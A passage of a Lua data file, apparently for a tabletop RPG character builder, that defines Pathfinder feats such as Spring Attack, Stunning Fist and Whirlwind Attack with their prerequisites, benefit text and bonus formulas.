if ability.Name == "Shield Proficiency" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Shield Proficiency",
Category="FEAT",
Description={
Format="You are trained in how to properly use a shield.",
},
SourcePage="p.133",
AutomaticProficiencies={
{
Kind="Shield",
Types={
"Buckler",
"Heavy",
"Light",
},
},
},
Benefits={
{
FormatString="When you use a shield (except a tower shield), the shield's armor check penalty only applies to Strength- and Dexterity-based skills.",
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Shield Slam",
Category="FEAT",
Description={
Format="In the right position, your shield can be used to send opponents flying.",
},
SourcePage="p.133",
Benefits={
{
FormatString="Any opponents hit by your shield bash are also hit with a free bull rush attack, substituting your attack roll for the combat maneuver check (see Chapter 8). This bull rush does not provoke an attack of opportunity. Opponents who cannot move back due to a wall or other surface are knocked prone after moving the maximum possible distance. You may choose to move with your target if you are able to take a 5-foot step or to spend an action to move this turn.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Shield Bash" then return true end
if ability.Name == "Two-Weapon Fighting" then return true end
return false
end)
end,
function (character, item, sources)
return (character.IsProficientWithShieldType("Buckler")) and (character.IsProficientWithShieldType("Light")) and (character.IsProficientWithShieldType("Heavy")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Shield Proficiency" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Shot on the Run",
Category="FEAT",
Description={
Format="You can move, fire a ranged weapon, and move again before your foes can react.",
},
SourcePage="p.133",
Benefits={
{
FormatString="As a full-round action, you can move up to your speed and make a single ranged attack at any point during your movement.",
},
},
Conditions={
function (character, item, sources)
return 3 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Dodge" then return true end
if ability.Name == "Mobility" then return true end
if ability.Name == "Point-Blank Shot" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 4
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Sickening Critical",
Category="FEAT",
Description={
Format="Your critical hits cause opponents to become sickened.",
},
SourcePage="p.133",
Benefits={
{
FormatString="Whenever you score a critical hit, your opponent becomes sickened for 1 minute. The effects of this feat do not stack. Additional hits instead add to the effect's duration.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11 or (character.Variables["CriticalFocusQualify"] >= 11)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Silent Spell",
Category="FEAT",
AddedSpellLevels=1,
Description={
Format="You can cast your spells without making any sound.",
},
SourcePage="p.133",
Benefits={
{
FormatString="A silent spell can be cast with no verbal components. Spells without verbal components are not affected. A silent spell uses up a spell slot one level higher than the spell's actual level.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Silent",
},
})
DefineAbility({
Name="Simple Weapon Proficiency",
Category="FEAT",
Description={
Format="You are trained in the use of basic weapons.",
},
SourcePage="p.133",
Abilities={
{
Category="Internal",
Nature="AUTOMATIC",
Names={
"Weapon Prof ~ Simple",
},
},
},
Benefits={
{
FormatString="You make attack rolls with simple weapons without penalty.",
},
},
Types={
"General",
},
})
DefineAbility({
Name="Skill Focus",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseSkill(function (character, skill)
return ((skill.IsType("Base")))
end),
},
Description={
Format="You are particularly adept at your chosen skill.",
},
SourcePage="p.134",
Stackable=false,
Benefits={
{
FormatString="You get a +3 bonus on all checks involving the chosen skill. If you have 10 or more ranks in that skill, this bonus increases to +6.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("3"),
Type={
Name="SkillFocus",
},
Variables={
"%LIST",
},
},
},
Types={
"General",
"SkillFocus",
},
})
DefineAbility({
Name="Snatch Arrows",
Category="FEAT",
Description={
Format="Instead of knocking an arrow or ranged attack aside, you can catch it in mid-flight.",
},
SourcePage="p.134",
Benefits={
{
FormatString="When using the Deflect Arrows feat you may choose to catch the weapon instead of just deflecting it. Thrown weapons can immediately be thrown back as an attack against the original attacker (even though it isn't your turn) or kept for later use. You must have at least one hand free (holding nothing) to use this feat.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Deflect Arrows" then return true end
if ability.Name == "Improved Unarmed Strike" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 15) or (character.Variables["FeatDexRequirement"] >= 15)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Spell Focus",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseSchool(function (character, school)
return ((true))
end),
},
Description={
Format="Any spells you cast of your chosen school of magic are more difficult to resist.",
},
SourcePage="p.134",
Stackable=false,
Benefits={
{
FormatString="Add +1 to the Difficulty Class for all saving throws against spells from the school of magic you select.",
},
},
Bonuses={
{
Category="DC",
Formula=Formula("1"),
Type={
Name="SpellFocus",
},
Variables={
"SCHOOL.%LIST",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Spell Mastery",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseSpell(function (character, spell)
return ((spell.IsInClassList("Wizard") and (((character.KnowsSpell(spell))))))
end),
},
Description={
Format="You have mastered a small handfull of spells, and can prepare these spells without referencing your spellbooks at all.",
},
Selections=Formula("var(\"STAT.3.MOD.NOEQUIP.NOTEMP\")"),
SourcePage="p.134",
Benefits={
{
FormatString="Each time you take this feat, choose a number of spells that you already know equal to your Intelligence modifier. From that point on, you can prepare these spells without referring to a spellbook.",
},
},
Conditions={
function (character, item, sources)
return (character.Variables["SpellMasteryQualify"] >= 1)
end,
},
Types={
"General",
"WizardBonus",
},
})
DefineAbility({
Name="Spell Penetration",
Category="FEAT",
Description={
Format="Your spells break through spell resistance more easily than most.",
},
SourcePage="p.134",
Benefits={
{
FormatString="You get a +2 bonus on caster level checks (1d20 + caster level) made to overcome a creature's spell resistance.",
},
},
Types={
"General",
},
})
DefineAbility({
Name="Spellbreaker",
Category="FEAT",
Description={
Format="You can strike at enemy spellcasters who fail to cast defensively when you threaten them.",
},
SourcePage="p.134",
Benefits={
{
FormatString="Enemies in your threatened area that fail their checks to cast spells defensively provoke attacks of opportunity from you.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Disruptive" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["SpellBreakerQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Spirited Charge",
Category="FEAT",
Description={
Format="Your mounted charge deals a tremendous amount of damage.",
},
SourcePage="p.134",
Benefits={
{
FormatString="When mounted and using the charge action, you deal double damage with a melee weapon (or triple damage with a lance).",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Mounted Combat" then return true end
if ability.Name == "Ride-By Attack" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Skill("Ride").ranks >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Spring Attack",
Category="FEAT",
Description={
Format="You can deftly move up to a foe, strike, and withdraw before he can react.",
},
SourcePage="p.134",
Benefits={
{
FormatString="As a full round action, you can move up to your speed and make a single melee attack without provoking any attacks of opportunity from the target of your attack. You can move both before and after the attack, but you must move at least 10 feet before the attack and the total distance that you move cannot be greater than your speed. You cannot use this ability to attack a foe that is adjacent to you at the start of your turn.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Dodge" then return true end
if ability.Name == "Mobility" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 4
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Staggering Critical",
Category="FEAT",
Description={
Format="Your critical hits cause opponents to slow down.",
},
SourcePage="p.134",
Benefits={
{
FormatString="Whenever you score a critical hit, your opponent becomes staggered for 1d4+1 rounds. A successful Fortitude save reduces the duration to 1 round. The DC of this Fortitude save is equal to %1. The effects of this feat do not stack. Additional hits instead add to the duration.",
Arguments={
"10+BAB",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 13 or (character.Variables["CriticalFocusQualify"] >= 13)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Stand Still",
Category="FEAT",
Description={
Format="You can stop foes that try to move past you.",
},
SourcePage="p.134",
Benefits={
{
FormatString="When a foe provokes an attack of opportunity due to moving through your adjacent squares, you can make a combat maneuver check as your attack of opportunity. If successful, the enemy cannot move for the rest of his turn. An enemy can still take the rest of his action, but cannot move. This feat also applies to any creature that attempts to move from a square that is adjacent to you if such movement provokes an attack of opportunity.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Reflexes" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Stealthy",
Category="FEAT",
Description={
Format="You are good at avoiding attention and slipping out of bonds.",
},
SourcePage="p.135",
Benefits={
{
FormatString="You get a +2 bonus on all Escape Artist and Stealth skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Escape Artist\")>=10,4,2)"),
Variables={
"Escape Artist",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Stealth\")>=10,4,2)"),
Variables={
"Stealth",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Step Up",
Category="FEAT",
Description={
Format="You can close the distance when a foe tries to move away.",
},
SourcePage="p.135",
Benefits={
{
FormatString="Whenever an adjacent foe attempts to take a 5-foot step away from you, you may also make a 5-foot step as an immediate action so long as you end up adjacent to the foe that triggered this ability. If you take this step, you cannot take a 5-foot step during your next turn. If you take an action to move during your next turn, subtract 5 feet from your total movement.",
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Still Spell",
Category="FEAT",
AddedSpellLevels=1,
Description={
Format="You can cast spells without moving.",
},
SourcePage="p.135",
Benefits={
{
FormatString="A stilled spell can be cast with no somatic components. Spells without somatic components are not affected. A stilled spell uses up a spell slot one level higher than the spell's actual level.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Still",
},
})
DefineAbility({
Name="Strike Back",
Category="FEAT",
Description={
Format="You can strike at foes that attack you using their superior reach, by targeting their limbs or weapons as they come at you.",
},
SourcePage="p.135",
Benefits={
{
FormatString="You can ready an action to make a melee attack against any foe that attacks you in melee, even if the foe is outside of your reach.",
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Stunning Critical",
Category="FEAT",
Description={
Format="Your critical hits cause opponents to become stunned.",
},
SourcePage="p.135",
Benefits={
{
FormatString="Whenever you score a critical hit, your opponent becomes stunned for 1d4 rounds. A successful Fortitude save reduces this to staggered for 1d4 rounds. The DC of this Fortitude save is equal to %1. The effects of this feat do not stack. Additional hits instead add to the duration.",
Arguments={
"10+BAB",
},
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
if ability.Name == "Staggering Critical" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 17 or (character.Variables["CriticalFocusQualify"] >= 17)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Stunning Fist",
Category="FEAT",
Description={
Format="You know just where to strike to temporarily stun a foe. %1/day (DC %2)",
Arguments={
Formula("StunningFistAttack"),
Formula("StunningFistDC"),
},
},
SourcePage="p.135",
Stackable=false,
Abilities={
{
Category="Ability Focus",
Nature="AUTOMATIC",
Names={
"Stunning Fist",
},
},
},
Benefits={
{
FormatString="You must declare that you are using this feat before you make your attack roll (thus, a failed attack roll ruins the attempt). Stunning Fist forces a foe damaged by your unarmed attack to make a Fortitude saving throw (DC %1), in addition to dealing damage normally. A defender who fails this saving throw is stunned for 1 round (until just before your next turn). A stunned character drops everything held, can't take actions, loses any Dexterity bonus to AC, and takes a -2 penalty to AC. You may attempt a stunning attack once per day for every four levels you have attained (but see Special), and no more than once per round. Constructs, oozes, plants, undead, incorporeal creatures, and creatures immune to critical hits cannot be stunned.",
Arguments={
"StunningFistDC",
},
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Ability Focus (Stunning Fist)" then return true end
return false
end)
end,
},
Variables={
"StunningFistDC",
},
},
{
Category="VAR",
Formula=Formula("10+(TL/2)+WIS"),
Variables={
"StunningFistDC",
},
},
{
Category="VAR",
Formula=Formula("MonkLVL+floor((TL-MonkLVL)/4)"),
Type={
Name="NoStack",
},
Variables={
"StunningFistAttack",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Unarmed Strike" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_WIS"] >= 13) and (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 8
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Throw Anything",
Category="FEAT",
Description={
Format="You are used to throwing things you have on hand.",
},
SourcePage="p.135",
Benefits={
{
FormatString="You do not suffer any penalties for using an improvised ranged weapon. You receive a +1 circumstance bonus on attack rolls made with thrown splash weapons.",
},
},
Bonuses={
{
Category="WEAPONPROF=TYPE.Splash",
Formula=Formula("1"),
Variables={
"TOHIT",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Tiring Critical",
Category="FEAT",
Description={
Format="Your critical hits cause opponents to become fatigued.",
},
SourcePage="p.135",
Benefits={
{
FormatString="Whenever you score a critical hit, your opponent becomes fatigued. This feat has no additional effect on a fatigued or exhausted creature.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 13 or (character.Variables["CriticalFocusQualify"] >= 13)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Toughness",
Category="FEAT",
Description={
Format="You have enhanced physical stamina.",
},
SourcePage="p.135",
Benefits={
{
FormatString="You gain +%1 hit points.",
Arguments={
"max(3,TL)",
},
},
{
FormatString="You gain +1 hit points whenever you gain a Hit Die (such as when you gain a level).",
Conditions={
function (character, item, sources)
return character.HitDie >= 3
end,
},
},
},
Bonuses={
{
Category="HP",
Formula=Formula("max(3,TL)"),
Conditions={
function (character, item, sources)
return (IsRuleEnabled("DAMAGE_HP"))
end,
},
Variables={
"CURRENTMAX",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Tower Shield Proficiency",
Category="FEAT",
Description={
Format="You are trained in how to properly use a tower shield.",
},
SourcePage="p.135",
AutomaticProficiencies={
{
Kind="Shield",
Types={
"Tower",
},
},
},
Benefits={
{
FormatString="When you use a tower shield, the shield's armor check penalty only applies to Strength and Dexterity-based skills.",
},
},
Conditions={
function (character, item, sources)
return (character.IsProficientWithShieldType("Buckler")) and (character.IsProficientWithShieldType("Light")) and (character.IsProficientWithShieldType("Heavy")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Shield Proficiency" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Trample",
Category="FEAT",
Description={
Format="While mounted, you can ride down opponents and thrample them under your mount.",
},
SourcePage="p.136",
Benefits={
{
FormatString="When you attempt to overrun an opponent while mounted, your target may not choose to avoid you. Your mount may make one hoof attack against any target you knock down, gaining the standard +4 bonus on attack rolls against prone targets.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Mounted Combat" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Skill("Ride").ranks >= 1)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Turn Undead",
Category="FEAT",
Description={
Format="Calling upon higher powers, you cause undead to flee from the might of your unleashed divine energy.",
},
SourcePage="p.136",
Benefits={
{
FormatString="You can, as a standard action, use one of your uses of channel positive energy to cause all undead within 30 feet of you to flee, as if panicked. Undead receive a Will save %1 to negate the effect. Undead that fail their save flee for 1 minute. Intelligent undead receive a new saving throw each round to end the effect. If you use channel energy in this way, it has no other effect (it does not heal or harm nearby creatures).",
Arguments={
"ClericChannelPositiveEnergyDC",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Positive Energy") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Two-Weapon Defense",
Category="FEAT",
Description={
Format="You are skilled at defending yourself while fighting with two weapons.",
},
SourcePage="p.136",
Benefits={
{
FormatString="When wielding a double weapon or two weapons (not including natural weapons or unarmed strikes), you gain a +1 shield bonus to your AC. When you are fighting defensively or using the total defense action, this shield bonus increases to +2.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("TwoWeaponShield"),
Type={
Name="Shield",
},
Conditions={
function (character, item, sources)
return (character.HasEquipped(function (item) return item.IsType("Double") end)) or (character.HasEquippedInPrimaryHand(function (item) return item.IsType("Melee") end)) and (character.HasEquipped(function (item) return item.IsType("Melee") end))
end,
},
Variables={
"AC",
},
},
{
Category="VAR",
Formula=Formula("1"),
Variables={
"TwoWeaponShield",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Two-Weapon Fighting" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 15) or (character.Variables["FeatDexRequirement"] >= 15)
end,
},
Types={
"Combat",
"ModifyAC",
},
})
DefineAbility({
Name="Two-Weapon Fighting",
Category="FEAT",
Description={
Format="You can fight with a weapon in each of your hands. You can make one extra attack each round with the secondary weapon.",
},
SourcePage="p.136",
Benefits={
{
FormatString="Your penalties on attack rolls for fighting with two weapons are reduced. The penalty for your primary hand lessens by 2 and the one for your off hand lessens by 6. See Two-Weapon Fighting in Chapter 8.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("2"),
Variables={
"TOHIT-PRIMARY",
},
},
{
Category="COMBAT",
Formula=Formula("6"),
Variables={
"TOHIT-SECONDARY",
},
},
},
Conditions={
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 15) or (character.Variables["FeatDexRequirement"] >= 15)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Two-Weapon Rend",
Category="FEAT",
Description={
Format="Striking with both your weapons simultanoeusly, you can use them to deliver devastating wounds.",
},
SourcePage="p.136",
Benefits={
{
FormatString="If you hit an opponent with both your primary hand and your off-hand weapon, you deal an additional 1d10 points of damage plus %1. You can only deal this additional damage once each round.",
Arguments={
"1.5*STR",
},
},
},
Conditions={
function (character, item, sources)
return 3 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Double Slice" then return true end
if ability.Name == "Improved Two-Weapon Fighting" then return true end
if ability.Name == "Two-Weapon Fighting" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 17) or (character.Variables["FeatDexRequirement"] >= 17)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Unseat",
Category="FEAT",
Description={
Format="You are skilled at unseating your mounted opponent.",
},
SourcePage="p.136",
Benefits={
{
FormatString="When charging an opponent while mounted and wielding a lance, resolve the attack as normal. If it hits, you may immediately make a free bull rush attempt in addition to the normal damage. If successful, the target is knocked off his horse and lands prone in a space adjacent to his mount that is directly away from you.",
},
},
Conditions={
function (character, item, sources)
return 3 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Mounted Combat" then return true end
if ability.Name == "Power Attack" then return true end
if ability.Name == "Improved Bull Rush" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Skill("Ride").ranks >= 1)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Vital Strike",
Category="FEAT",
Description={
Format="You make a single attack that deals significantly more damage than normal.",
},
SourcePage="p.136",
Benefits={
{
FormatString="When you use the attack action, you can make one attack at your highest base attack bonus that deals additional damage. Roll the weapon's damage dice for the attack twice and add the results together before adding bonuses from Strength, weapon abilities (such as flaming), precision-based damage, and other damage bonuses. These extra damage dice are not multiplied on a critical hit, but are added to the total.",
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Weapon Finesse",
Category="FEAT",
Description={
Format="You are trained in using your agility in melee combat, as opposed to brute strength.",
},
SourcePage="p.136",
Benefits={
{
FormatString="With a light weapon, rapier, whip, or spiked chain made for a creature of your size category, you may use your Dexterity modifier instead of your Strength modifier on attack rolls. If you carry a shield, its armor check penalty applies to your attack rolls.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("((max(STR,DEX)-STR)+SHIELDACCHECK)"),
Type={
Name="NotRanged",
},
Variables={
"TOHIT.Finesseable",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Weapon Focus",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return ((character.IsProficientWith(weapon)))
end),
},
Description={
Format="You are especially good at using your chosen weapon.",
},
SourcePage="p.136",
Benefits={
{
FormatString="You gain a +1 bonus on all attack rolls you make using the selected weapon.",
},
},
Bonuses={
{
Category="WEAPONPROF=%LIST",
Formula=Formula("WeaponFocusToHit"),
Variables={
"TOHIT",
},
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
},
Types={
"Combat",
"WeaponFocus",
},
})
DefineAbility({
Name="Weapon Specialization",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return (((stringMatch(weapon.Name, "ABILITY=FEAT") or stringMatch(weapon.Key, "ABILITY=FEAT")) and ((((stringMatch(weapon.Name, "Weapon Focus") or stringMatch(weapon.Key, "Weapon Focus")))))))
end),
},
Description={
Format="You deal extra damage when using your chosen weapon.",
},
SourcePage="p.137",
Benefits={
{
FormatString="You gain a +2 bonus on all damage rolls you make using the selected weapon.",
},
},
Bonuses={
{
Category="WEAPONPROF=%LIST",
Formula=Formula("2"),
Variables={
"DAMAGE",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Weapon Focus" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["WeapSpecQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Whirlwind Attack",
Category="FEAT",
Description={
Format="You can strike out at every foe within reach.",
},
SourcePage="p.137",
Benefits={
{
FormatString="When you use the full-attack action, you can give up your regular attacks and instead make one melee attack at your highest base attack bonus against each opponent within reach. You must make a separate attack roll against each opponent. When you use the Whirlwind Attack feat, you also forfeit any bonus or extra attacks granted by other feats, spells, or abilities.",
},
},
Conditions={
function (character, item, sources)
return 4 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Expertise" then return true end
if ability.Name == "Dodge" then return true end
if ability.Name == "Mobility" then return true end
if ability.Name == "Spring Attack" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 4
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Widen Spell",
Category="FEAT",
AddedSpellLevels=3,
Description={
Format="You can cast your spells so that they occupy a larger space.",
},
SourcePage="p.137",
Benefits={
{
FormatString="You can alter a burst, emanation, or spread-shaped spell to increase its area. Any numeric measurements of the spell's area increase by 100%%. A widened spell uses up a spell slot three levels higher than the spell's actual level. Spells that do not have an area of one of these four sorts are not affected by this feat.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Widened",
},
})
DefineAbility({
Name="Wind Stance",
Category="FEAT",
Description={
Format="Your erratic movements make it difficult for enemies to pinpoint your location.",
},
SourcePage="p.137",
Benefits={
{
FormatString="If you move more than 5 feet this turn, you gain 20%% concealment for 1 round against ranged attacks.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Dodge" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 15) or (character.Variables["FeatDexRequirement"] >= 15)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Leadership Score",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="VAR",
Formula=Formula("%CHOICE"),
Variables={
"LeadershipScore",
},
},
Target="PC",
},
TemporaryBonusDescription={
Format="Several factors can affect a character's Leadership score, causing it to vary from the base score. Add modifiers as needed.",
},
Visible=false,
Types={
"Special",
"Internal",
},
})
DefineAbility({
Name="Power Attack (Off-Hand)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("(PowerAttackDamageBase/2)+PowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,Light;OneHanded",
},
Visible=false,
})
DefineAbility({
Name="Power Attack (Light)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("PowerAttackDamageBase*PowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,Light;Natural",
},
Visible=false,
})
DefineAbility({
Name="Power Attack (One-Handed)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("PowerAttackDamageBase*PowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,OneHanded;Natural",
},
Visible=false,
})
DefineAbility({
Name="Power Attack (Two-Handed)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("(PowerAttackDamageBase*1.5)*PowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,TwoHanded;OneHanded;Natural",
},
Visible=false,
})
DefineAbility({
Name="Power Attack (Flurry)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("PowerAttackDamageBase*MonkFlurryPowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,Unarmed,Special,Monk",
},
Visible=false,
})
DefineAbility({
Name="Power Attack (Natural Secondary)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("PowerAttackDamageBase*PowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,Natural,NaturalSecondary",
},
Visible=false,
})
DefineAbility({
Name="Power Attack (Natural Primary)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("PowerAttackDamageBase*PowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,Natural,NaturalPrimary",
},
Visible=false,
})
DefineAbility({
Name="Power Attack (Natural Primary - Single)",
Category="FEAT",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("(PowerAttackDamageBase*1.5)*PowerAttackModifier"),
Type={
Name="Temporary",
},
Variables={
"DAMAGE",
},
},
Target="EQ|Weapon,Melee,Natural,NaturalPrimarySingle",
},
Visible=false,
})
ModifyAbility({
Name="Arcane Strike",
Category="FEAT",
Bonuses={
{
Category="VAR",
Formula=Formula("Caster_Level_Total__Arcane"),
Variables={
"ArcaneStrikeLVL",
},
},
},
})
DefineAbility({
Name="Cleave (Granted by Sylvan Scimitar)",
Key="Sylvan Scimitar ~ Cleave",
Category="FEAT",
Description={
Format="When outdoors, You can strike two adjacent foes with a single swing.",
},
SourcePage="p.119",
Visible=true,
Benefits={
{
